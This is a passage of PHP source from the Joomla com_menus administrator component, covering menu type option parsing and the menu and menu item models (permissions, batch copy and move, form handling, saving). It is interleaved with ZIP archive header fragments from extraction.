{ return false; } else { $menu = $menu[0]; } // If we have no options to parse, just add the base component to the list of options. if (!empty($menu['options']) && $menu['options'] == 'none') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $menu['name']; $o->description = (string) $menu['msg']; $o->request = array('option' => $component); $options[] = $o; return $options; } // Look for the first options node off of the menu node. if (!$optionsNode = $menu->xpath('options[1]')) { return false; } else { $optionsNode = $optionsNode[0]; } // Make sure the options node has children. if (!$children = $optionsNode->children()) { return false; } else { // Process each child as an option. foreach ($children as $child) { if ($child->getName() == 'option') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = array('option' => $component, (string) $optionsNode['var'] => (string) $child['value']); $options[] = $o; } elseif ($child->getName() == 'default') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = array('option' => $component); $options[] = $o; } } } return $options; } protected function getTypeOptionsFromMVC($component) { // Initialise variables. $options = array(); // Get the views for this component. $path = JPATH_SITE.'/components/'.$component.'/views'; if (JFolder::exists($path)) { $views = JFolder::folders($path); } else { return false; } foreach ($views as $view) { // Ignore private views. if (strpos($view, '_') !== 0) { // Determine if a metadata file exists for the view. $file = $path.'/'.$view.'/metadata.xml'; if (is_file($file)) { // Attempt to load the xml file. if ($xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($menu = $xml->xpath('view[1]')) { $menu = $menu[0]; // If the view is hidden from the menu, discard it and move on to the next view. if (!empty($menu['hidden']) && $menu['hidden'] == 'true') { unset($xml); continue; } // Do we have an options node or should we process layouts? // Look for the first options node off of the menu node. if ($optionsNode = $menu->xpath('options[1]')) { $optionsNode = $optionsNode[0]; // Make sure the options node has children. if ($children = $optionsNode->children()) { // Process each child as an option. foreach ($children as $child) { if ($child->getName() == 'option') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = array('option' => $component, 'view' => $view, (string) $optionsNode['var'] => (string) $child['value']); $options[] = $o; } elseif ($child->getName() == 'default') { // Create the menu option for the component. $o = new JObject; $o->title = (string) $child['name']; $o->description = (string) $child['msg']; $o->request = array('option' => $component, 'view' => $view); $options[] = $o; } } } } else { $options = array_merge($options, (array) $this->getTypeOptionsFromLayouts($component, $view)); } } unset($xml); } } else { $options = array_merge($options, (array) $this->getTypeOptionsFromLayouts($component, $view)); } } } return $options; } protected function getTypeOptionsFromLayouts($component, $view) { // Initialise variables. $options = array(); $layouts = array(); $layoutNames = array(); $templateLayouts = array(); $lang = JFactory::getLanguage(); // Get the layouts from the view folder. $path = JPATH_SITE.'/components/'.$component.'/views/'.$view.'/tmpl'; if (JFolder::exists($path)) { $layouts = array_merge($layouts, JFolder::files($path, '.xml$', false, true)); } else { return $options; } // build list of standard layout names foreach ($layouts as $layout) { // Ignore private layouts. if (strpos(JFile::getName($layout), '_') === false) { $file = $layout; // Get the layout name. $layoutNames[] = JFile::stripext(JFile::getName($layout)); } } // get the template layouts // TODO: This should only search one template -- the current template for this item (default of specified) $folders = JFolder::folders(JPATH_SITE . '/templates', '', false, true); // Array to hold association between template file names and templates $templateName = array(); foreach($folders as $folder) { if (JFolder::exists($folder . '/html/' . $component . '/' . $view)) { $template = JFile::getName($folder); $lang->load('tpl_' . $template . '.sys', JPATH_SITE, null, false, true) || $lang->load('tpl_' . $template . '.sys', JPATH_SITE . '/templates/' . $template, null, false, true); $templateLayouts = JFolder::files($folder . '/html/' . $component . '/' . $view, '.xml$', false, true); foreach ($templateLayouts as $layout) { $file = $layout; // Get the layout name. $templateLayoutName = JFile::stripext(JFile::getName($layout)); // add to the list only if it is not a standard layout if (array_search($templateLayoutName, $layoutNames) === false) { $layouts[] = $layout; // Set template name array so we can get the right template for the layout $templateName[$layout] = JFile::getName($folder); } } } } // Process the found layouts. foreach ($layouts as $layout) { // Ignore private layouts. if (strpos(JFile::getName($layout), '_') === false) { $file = $layout; // Get the layout name. $layout = JFile::stripext(JFile::getName($layout)); // Create the menu option for the layout. $o = new JObject; $o->title = ucfirst($layout); $o->description = ''; $o->request = array('option' => $component, 'view' => $view); // Only add the layout request argument if not the default layout. if ($layout != 'default') { // If the template is set, add in format template:layout so we save the template name $o->request['layout'] = (isset($templateName[$file])) ? $templateName[$file] . ':' . $layout : $layout; } // Load layout metadata if it exists. if (is_file($file)) { // Attempt to load the xml file. if ($xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($menu = $xml->xpath('layout[1]')) { $menu = $menu[0]; // If the view is hidden from the menu, discard it and move on to the next view. if (!empty($menu['hidden']) && $menu['hidden'] == 'true') { unset($xml); unset($o); continue; } // Populate the title and description if they exist. if (!empty($menu['title'])) { $o->title = trim((string) $menu['title']); } if (!empty($menu->message[0])) { $o->description = trim((string) $menu->message[0]); } } } } // Add the layout to the options array. $options[] = $o; } } return $options; } } PK@y>\nn$components/com_menus/models/menu.phpnuW+Aauthorise('core.delete', 'com_menus.menu.'.(int) $record->id); } /** * Method to test whether a record can be deleted. * * @param object A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); return $user->authorise('core.edit.state', 'com_menus.menu.'.(int) $record->id); } /** * Returns a Table object, always creating it * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object */ public function getTable($type = 'MenuType', $prefix = 'JTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { $app = JFactory::getApplication('administrator'); // Load the User state. $id = (int) JRequest::getInt('id'); $this->setState('menu.id', $id); // Load the parameters. $params = JComponentHelper::getParams('com_menus'); $this->setState('params', $params); } /** * Method to get a menu item. * * @param integer The id of the menu item to get. * * @return mixed Menu item data object on success, false on failure. */ public function &getItem($itemId = null) { // Initialise variables. $itemId = (!empty($itemId)) ? $itemId : (int)$this->getState('menu.id'); $false = false; // Get a menu item row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($itemId); // Check for a table object error. if ($return === false && $table->getError()) { $this->setError($table->getError()); return $false; } $properties = $table->getProperties(1); $value = JArrayHelper::toObject($properties, 'JObject'); return $value; } /** * Method to get the menu item form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_menus.menu', 'menu', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_menus.edit.menu.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to save the form data. * * @param array The form data. * @return boolean True on success. */ public function save($data) { $id = (!empty($data['id'])) ? $data['id'] : (int)$this->getState('menu.id'); $isNew = true; // Get a row instance. $table = $this->getTable(); // Load the row if saving an existing item. if ($id > 0) { $table->load($id); $isNew = false; } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } $this->setState('menu.id', $table->id); // Clean the cache $this->cleanCache(); return true; } /** * Method to delete groups. * * @param array An array of item ids. * @return boolean Returns true on success, false on failure. */ public function delete($itemIds) { // Sanitize the ids. $itemIds = (array) $itemIds; JArrayHelper::toInteger($itemIds); // Get a group row instance. $table = $this->getTable(); // Iterate the items to delete each one. foreach ($itemIds as $itemId) { // TODO: Delete the menu associations - Menu items and Modules if (!$table->delete($itemId)) { $this->setError($table->getError()); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Gets a list of all mod_mainmenu modules and collates them by menutype * * @return array */ public function &getModules() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->from('#__modules as a'); $query->select('a.id, a.title, a.params, a.position'); $query->where('module = '.$db->quote('mod_menu')); $query->select('ag.title AS access_title'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); $db->setQuery($query); $modules = $db->loadObjectList(); $result = array(); foreach ($modules as &$module) { $params = new JRegistry; $params->loadString($module->params); $menuType = $params->get('menutype'); if (!isset($result[$menuType])) { $result[$menuType] = array(); } $result[$menuType][] = &$module; } return $result; } /** * Custom clean cache method * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('com_modules'); parent::cleanCache('mod_menu'); } } PK@y>\)%components/com_menus/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V&components/com_menus/models/index.htmlnuW+A PK@y>\,_`$components/com_menus/models/item.phpnuW+Aid)) { if ($record->published != -2) { return ; } $user = JFactory::getUser(); return $user->authorise('core.delete', 'com_menus.item.'.(int) $record->id); } } /** * Method to test whether a record can have its state edited. * * @param object A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); if (!empty($record->id)) { return $user->authorise('core.edit.state', 'com_menus.item.'.(int) $record->id); } // Default to component settings if menu item not known. else { return parent::canEditState($record); } } /** * Method to perform batch operations on an item or a set of items. * * @param array $commands An array of commands to perform. * @param array $pks An array of item ids. * @param array $contexts An array of item contexts. * * @return boolean Returns true on success, false on failure. * * @since 1.6 */ public function batch($commands, $pks, $contexts) { // Sanitize user ids. $pks = array_unique($pks); JArrayHelper::toInteger($pks); // Remove any values of zero. if (array_search(0, $pks, true)) { unset($pks[array_search(0, $pks, true)]); } if (empty($pks)) { $this->setError(JText::_('COM_MENUS_NO_ITEM_SELECTED')); return false; } $done = false; if (!empty($commands['menu_id'])) { $cmd = JArrayHelper::getValue($commands, 'move_copy', 'c'); if ($cmd == 'c') { $result = $this->batchCopy($commands['menu_id'], $pks, $contexts); if (is_array($result)) { $pks = $result; } else { return false; } } elseif ($cmd == 'm' && !$this->batchMove($commands['menu_id'], $pks, $contexts)) { return false; } $done = true; } if (!empty($commands['assetgroup_id'])) { if (!$this->batchAccess($commands['assetgroup_id'], $pks, $contexts)) { return false; } $done = true; } if (!empty($commands['language_id'])) { if (!$this->batchLanguage($commands['language_id'], $pks, $contexts)) { return false; } $done = true; } if (!$done) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION')); return false; } return true; } /** * Batch copy menu items to a new menu or parent. * * @param integer $value The new menu or sub-item. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return mixed An array of new IDs on success, boolean false on failure. * * @since 1.6 */ protected function batchCopy($value, $pks, $contexts) { // $value comes as {menutype}.{parent_id} $parts = explode('.', $value); $menuType = $parts[0]; $parentId = (int) JArrayHelper::getValue($parts, 1, 0); $table = $this->getTable(); $db = $this->getDbo(); $query = $db->getQuery(true); $i = 0; // Check that the parent exists if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } } // If the parent is 0, set it to the ID of the root item in the tree if (empty($parentId)) { if (!$parentId = $table->getRootId()) { $this->setError($db->getErrorMsg()); return false; } } // Check that user has create permission for menus $user = JFactory::getUser(); if (!$user->authorise('core.create', 'com_menus')) { $this->setError(JText::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE')); return false; } // We need to log the parent ID $parents = array(); // Calculate the emergency stop count as a precaution against a runaway loop bug $query->select('COUNT(id)'); $query->from($db->quoteName('#__menu')); $db->setQuery($query); $count = $db->loadResult(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } // Parent exists so we let's proceed while (!empty($pks) && $count > 0) { // Pop the first id off the stack $pk = array_shift($pks); $table->reset(); // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Copy is a bit tricky, because we also need to copy the children $query->clear(); $query->select('id'); $query->from($db->quoteName('#__menu')); $query->where('lft > ' . (int) $table->lft); $query->where('rgt < ' . (int) $table->rgt); $db->setQuery($query); $childIds = $db->loadColumn(); // Add child ID's to the array only if they aren't already there. foreach ($childIds as $childId) { if (!in_array($childId, $pks)) { array_push($pks, $childId); } } // Make a copy of the old ID and Parent ID $oldId = $table->id; $oldParentId = $table->parent_id; // Reset the id because we are making a copy. $table->id = 0; // If we a copying children, the Old ID will turn up in the parents list // otherwise it's a new top level item $table->parent_id = isset($parents[$oldParentId]) ? $parents[$oldParentId] : $parentId; $table->menutype = $menuType; // Set the new location in the tree for the node. $table->setLocation($table->parent_id, 'last-child'); // TODO: Deal with ordering? //$table->ordering = 1; $table->level = null; $table->lft = null; $table->rgt = null; $table->home = 0; // Alter the title & alias list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title); $table->title = $title; $table->alias = $alias; // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; // Now we log the old 'parent' to the new 'parent' $parents[$oldId] = $table->id; $count--; } // Rebuild the hierarchy. if (!$table->rebuild()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } // Clean the cache $this->cleanCache(); return $newIds; } /** * Batch move menu items to a new menu or parent. * * @param integer $value The new menu or sub-item. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True on success. * * @since 1.6 */ protected function batchMove($value, $pks, $contexts) { // $value comes as {menutype}.{parent_id} $parts = explode('.', $value); $menuType = $parts[0]; $parentId = (int) JArrayHelper::getValue($parts, 1, 0); $table = $this->getTable(); $db = $this->getDbo(); $query = $db->getQuery(true); // Check that the parent exists. if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } } // Check that user has create and edit permission for menus $user = JFactory::getUser(); if (!$user->authorise('core.create', 'com_menus')) { $this->setError(JText::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE')); return false; } if (!$user->authorise('core.edit', 'com_menus')) { $this->setError(JText::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT')); return false; } // We are going to store all the children and just moved the menutype $children = array(); // Parent exists so we let's proceed foreach ($pks as $pk) { // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Set the new location in the tree for the node. $table->setLocation($parentId, 'last-child'); // Set the new Parent Id $table->parent_id = $parentId; // Check if we are moving to a different menu if ($menuType != $table->menutype) { // Add the child node ids to the children array. $query->clear(); $query->select($db->quoteName('id')); $query->from($db->quoteName('#__menu')); $query->where($db->quoteName('lft') .' BETWEEN ' . (int) $table->lft . ' AND ' . (int) $table->rgt); $db->setQuery($query); $children = array_merge($children, (array) $db->loadColumn()); } // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath()) { $this->setError($table->getError()); return false; } } // Process the child rows if (!empty($children)) { // Remove any duplicates and sanitize ids. $children = array_unique($children); JArrayHelper::toInteger($children); // Update the menutype field in all nodes where necessary. $query->clear(); $query->update($db->quoteName('#__menu')); $query->set($db->quoteName('menutype') . ' = ' . $db->quote($menuType)); $query->where($db->quoteName('id') . ' IN (' . implode(',', $children) . ')'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Method to check if you can save a record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * @since 1.6 */ protected function canSave($data = array(), $key = 'id') { return JFactory::getUser()->authorise('core.edit', $this->option); } /** * Method to get the row form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // The folder and element vars are passed when saving the form. if (empty($data)) { $item = $this->getItem(); $this->setState('item.link', $item->link); // The type should already be set. } else { $this->setState('item.link', JArrayHelper::getValue($data, 'link')); $this->setState('item.type', JArrayHelper::getValue($data, 'type')); } // Get the form. $form = $this->loadForm('com_menus.item', 'item', array('control' => 'jform', 'load_data' => $loadData), true); if (empty($form)) { return false; } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('menuordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is an article you can edit. $form->setFieldAttribute('menuordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. return array_merge((array)$this->getItem(), (array)JFactory::getApplication()->getUserState('com_menus.edit.item.data', array())); } /** * Get the necessary data to load an item help screen. * * @return object An object with key, url, and local properties for loading the item help screen. * @since 1.6 */ public function getHelp() { return (object) array('key' => $this->helpKey, 'url' => $this->helpURL, 'local' => $this->helpLocal); } /** * Method to get a menu item. * * @param integer $pk An optional id of the object to get, otherwise the id from the model state is used. * * @return mixed Menu item data object on success, false on failure. * @since 1.6 */ public function getItem($pk = null) { // Initialise variables. $pk = (!empty($pk)) ? $pk : (int)$this->getState('item.id'); // Get a level row instance. $table = $this->getTable(); // Attempt to load the row. $table->load($pk); // Check for a table object error. if ($error = $table->getError()) { $this->setError($error); $false = false; return $false; } // Prime required properties. if ($type = $this->getState('item.type')) { $table->type = $type; } if (empty($table->id)) { $table->parent_id = $this->getState('item.parent_id'); $table->menutype = $this->getState('item.menutype'); $table->params = '{}'; } // If the link has been set in the state, possibly changing link type. if ($link = $this->getState('item.link')) { // Check if we are changing away from the actual link type. if (MenusHelper::getLinkKey($table->link) != MenusHelper::getLinkKey($link)) { $table->link = $link; } } switch ($table->type) { case 'alias': $table->component_id = 0; $args = array(); parse_str(parse_url($table->link, PHP_URL_QUERY), $args); break; case 'separator': $table->link = ''; $table->component_id = 0; break; case 'url': $table->component_id = 0; parse_str(parse_url($table->link, PHP_URL_QUERY)); break; case 'component': default: // Enforce a valid type. $table->type = 'component'; // Ensure the integrity of the component_id field is maintained, particularly when changing the menu item type. $args = array(); parse_str(parse_url($table->link, PHP_URL_QUERY), $args); if (isset($args['option'])) { // Load the language file for the component. $lang = JFactory::getLanguage(); $lang->load($args['option'], JPATH_ADMINISTRATOR, null, false, true) || $lang->load($args['option'], JPATH_ADMINISTRATOR . '/components/' . $args['option'], null, false, true); // Determine the component id. $component = JComponentHelper::getComponent($args['option']); if (isset($component->id)) { $table->component_id = $component->id; } } break; } // We have a valid type, inject it into the state for forms to use. $this->setState('item.type', $table->type); // Convert to the JObject before adding the params. $properties = $table->getProperties(1); $result = JArrayHelper::toObject($properties, 'JObject'); // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($table->params); $result->params = $registry->toArray(); // Merge the request arguments in to the params for a component. if ($table->type == 'component') { // Note that all request arguments become reserved parameter names. $result->request = $args; $result->params = array_merge($result->params, $args); } if ($table->type == 'alias') { // Note that all request arguments become reserved parameter names. $args = array(); parse_str(parse_url($table->link, PHP_URL_QUERY), $args); $result->params = array_merge($result->params, $args); } if ($table->type == 'url') { // Note that all request arguments become reserved parameter names. $args = array(); parse_str(parse_url($table->link, PHP_URL_QUERY), $args); $result->params = array_merge($result->params, $args); } // Load associated menu items if (JFactory::getApplication()->get('menu_associations', 0)) { if ($pk != null) { $result->associations = MenusHelper::getAssociations($pk); } else { $result->associations = array(); } } $result->menuordering = $pk; return $result; } /** * Get the list of modules not in trash. * * @return mixed An array of module records (id, title, position), or false on error. * @since 1.6 */ public function getModules() { $db = $this->getDbo(); $query = $db->getQuery(true); // Join on the module-to-menu mapping table. // We are only interested if the module is displayed on ALL or THIS menu item (or the inverse ID number). //sqlsrv changes for modulelink to menu manager $query->select('a.id, a.title, a.position, a.published, map.menuid'); $query->from('#__modules AS a'); $query->join('LEFT', sprintf('#__modules_menu AS map ON map.moduleid = a.id AND map.menuid IN (0, %1$d, -%1$d)', $this->getState('item.id'))); $query->select('(SELECT COUNT(*) FROM #__modules_menu WHERE moduleid = a.id AND menuid < 0) AS ' . $db->qn('except')); // Join on the asset groups table. $query->select('ag.title AS access_title'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); $query->where('a.published >= 0'); $query->where('a.client_id = 0'); $query->order('a.position, a.ordering'); $db->setQuery($query); $result = $db->loadObjectList(); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } return $result; } /** * A protected method to get the where clause for the reorder * This ensures that the row will be moved relative to a row with the same menutype * * @param JTableMenu $table instance * * @return array An array of conditions to add to add to ordering queries. * @since 1.6 */ protected function getReorderConditions($table) { return 'menutype = ' . $this->_db->Quote($table->menutype); } /** * Returns a Table object, always creating it * * @param type $type The table type to instantiate * @param string $prefix A prefix for the table class name. Optional. * @param array $config Configuration array for model. Optional. * * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Menu', $prefix = 'MenusTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * @since 1.6 */ protected function populateState() { $app = JFactory::getApplication('administrator'); // Load the User state. $pk = (int) JRequest::getInt('id'); $this->setState('item.id', $pk); if (!($parentId = $app->getUserState('com_menus.edit.item.parent_id'))) { $parentId = JRequest::getInt('parent_id'); } $this->setState('item.parent_id', $parentId); $menuType = $app->getUserState('com_menus.edit.item.menutype'); if (JRequest::getCmd('menutype', false)) { $menuType = JRequest::getCmd('menutype', 'mainmenu'); } $this->setState('item.menutype', $menuType); if (!($type = $app->getUserState('com_menus.edit.item.type'))){ $type = JRequest::getCmd('type'); // Note a new menu item will have no field type. // The field is required so the user has to change it. } $this->setState('item.type', $type); if ($link = $app->getUserState('com_menus.edit.item.link')) { $this->setState('item.link', $link); } // Load the parameters. $params = JComponentHelper::getParams('com_menus'); $this->setState('params', $params); } /** * @param object $form A form object. * @param mixed $data The data expected for the form. * * @return void * @since 1.6 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { // Initialise variables. $link = $this->getState('item.link'); $type = $this->getState('item.type'); $formFile = false; // Initialise form with component view params if available. if ($type == 'component') { $link = htmlspecialchars_decode($link); // Parse the link arguments. $args = array(); parse_str(parse_url(htmlspecialchars_decode($link), PHP_URL_QUERY), $args); // Confirm that the option is defined. $option = ''; $base = ''; if (isset($args['option'])) { // The option determines the base path to work with. $option = $args['option']; $base = JPATH_SITE.'/components/'.$option; } // Confirm a view is defined. $formFile = false; if (isset($args['view'])) { $view = $args['view']; // Determine the layout to search for. if (isset($args['layout'])) { $layout = $args['layout']; } else { $layout = 'default'; } $formFile = false; // Check for the layout XML file. Use standard xml file if it exists. $path = JPath::clean($base.'/views/'.$view.'/tmpl/'.$layout.'.xml'); if (JFile::exists($path)) { $formFile = $path; } // if custom layout, get the xml file from the template folder // template folder is first part of file name -- template:folder if (!$formFile && (strpos($layout, ':') > 0 )) { $temp = explode(':', $layout); $templatePath = JPATH::clean(JPATH_SITE.'/templates/'.$temp[0].'/html/'.$option.'/'.$view.'/'.$temp[1].'.xml'); if (JFile::exists($templatePath)) { $formFile = $templatePath; } } } //Now check for a view manifest file if (!$formFile) { if (isset($view) && JFile::exists($path = JPath::clean($base.'/views/'.$view.'/metadata.xml'))) { $formFile = $path; } else { //Now check for a component manifest file $path = JPath::clean($base.'/metadata.xml'); if (JFile::exists($path)) { $formFile = $path; } } } } if ($formFile) { // If an XML file was found in the component, load it first. // We need to qualify the full path to avoid collisions with component file names. if ($form->loadFile($formFile, true, '/metadata') == false) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/metadata/layout/help'); } else { // We don't have a component. Load the form XML to get the help path $xmlFile = JPath::find(JPATH_ROOT . '/administrator/components/com_menus/models/forms', 'item_' . $type . '.xml'); // Attempt to load the xml file. if ($xmlFile && !$xml = simplexml_load_file($xmlFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/form/help'); } if (!empty($help)) { $helpKey = trim((string) $help[0]['key']); $helpURL = trim((string) $help[0]['url']); $helpLoc = trim((string) $help[0]['local']); $this->helpKey = $helpKey ? $helpKey : $this->helpKey; $this->helpURL = $helpURL ? $helpURL : $this->helpURL; $this->helpLocal = (($helpLoc == 'true') || ($helpLoc == '1') || ($helpLoc == 'local')) ? true : false; } // Now load the component params. // TODO: Work out why 'fixing' this breaks JForm if ($isNew = false) { $path = JPath::clean(JPATH_ADMINISTRATOR.'/components/'.$option.'/config.xml'); } else { $path='null'; } if (JFile::exists($path)) { // Add the component params last of all to the existing form. if (!$form->load($path, true, '/config')) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } } // Load the specific type file if (!$form->loadFile('item_'.$type, false, false)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Association menu items if (JFactory::getApplication()->get('menu_associations', 0)) { $languages = JLanguageHelper::getLanguages('lang_code'); $addform = new JXMLElement('
      '); $fields = $addform->addChild('fields'); $fields->addAttribute('name', 'associations'); $fieldset = $fields->addChild('fieldset'); $fieldset->addAttribute('name', 'item_associations'); $fieldset->addAttribute('description', 'COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_DESC'); $add = false; foreach ($languages as $tag => $language) { if ($tag != $data['language']) { $add = true; $field = $fieldset->addChild('field'); $field->addAttribute('name', $tag); $field->addAttribute('type', 'menuitem'); $field->addAttribute('language', $tag); $field->addAttribute('label', $language->title); $field->addAttribute('translate_label', 'false'); $option = $field->addChild('option', 'COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE'); $option->addAttribute('value', ''); } } if ($add) { $form->load($addform, false); } } // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * Method rebuild the entire nested set tree. * * @return boolean False on failure or error, true otherwise. * @since 1.6 */ public function rebuild() { // Initialiase variables. $db = $this->getDbo(); $table = $this->getTable(); if (!$table->rebuild()) { $this->setError($table->getError()); return false; } // Convert the parameters not in JSON format. $db->setQuery( 'SELECT id, params' . ' FROM #__menu' . ' WHERE params NOT LIKE '.$db->quote('{%') . ' AND params <> '.$db->quote('') ); $items = $db->loadObjectList(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } foreach ($items as &$item) { $registry = new JRegistry; $registry->loadString($item->params); $params = (string)$registry; $db->setQuery( 'UPDATE #__menu' . ' SET params = '.$db->quote($params). ' WHERE id = '.(int) $item->id ); if (!$db->query()) { $this->setError($error); return false; } unset($registry); } // Clean the cache $this->cleanCache(); return true; } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * @since 1.6 */ public function save($data) { // Initialise variables. $pk = (!empty($data['id'])) ? $data['id'] : (int)$this->getState('item.id'); $isNew = true; $db = $this->getDbo(); $table = $this->getTable(); // Load the row if saving an existing item. if ($pk > 0) { $table->load($pk); $isNew = false; } if (!$isNew && $table->menutype == $data['menutype']) { if ($table->parent_id == $data['parent_id'] ) { // If first is chosen make the item the first child of the selected parent. if ($data['menuordering'] == -1) { $table->setLocation($data['parent_id'], 'first-child'); } // If last is chosen make it the last child of the selected parent. elseif ($data['menuordering'] == -2) { $table->setLocation($data['parent_id'], 'last-child'); } // Don't try to put an item after itself. All other ones put after the selected item. // $data['id'] is empty means it's a save as copy elseif ($data['menuordering'] && $table->id != $data['menuordering'] || empty($data['id'])) { $table->setLocation($data['menuordering'], 'after'); } // Just leave it where it is if no change is made. elseif ( $data['menuordering'] && $table->id == $data['menuordering']) { unset( $data['menuordering']); } } // Set the new parent id if parent id not matched and put in last position else { $table->setLocation($data['parent_id'], 'last-child'); } } // We have a new item, so it is not a change. elseif ($isNew) { $table->setLocation($data['parent_id'], 'last-child'); } // The menu type has changed so we need to just put this at the bottom // of the root level. else { $table->setLocation(1, 'last-child'); } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Alter the title & alias for save as copy. Also, unset the home record. if(!$isNew && $data['id'] == 0){ list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title); $table->title = $title; $table->alias = $alias; $table->home = 0; } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } $this->setState('item.id', $table->id); $this->setState('item.menutype', $table->menutype); // Load associated menu items if (JFactory::getApplication()->get('menu_associations', 0)) { // Adding self to the association $associations = $data['associations']; foreach ($associations as $tag=>$id) { if (empty($id)) { unset($associations[$tag]); } } // Detecting all item menus $all_language = $table->language == '*'; if ($all_language && !empty($associations)) { JError::raiseNotice(403, JText::_('COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED')); } 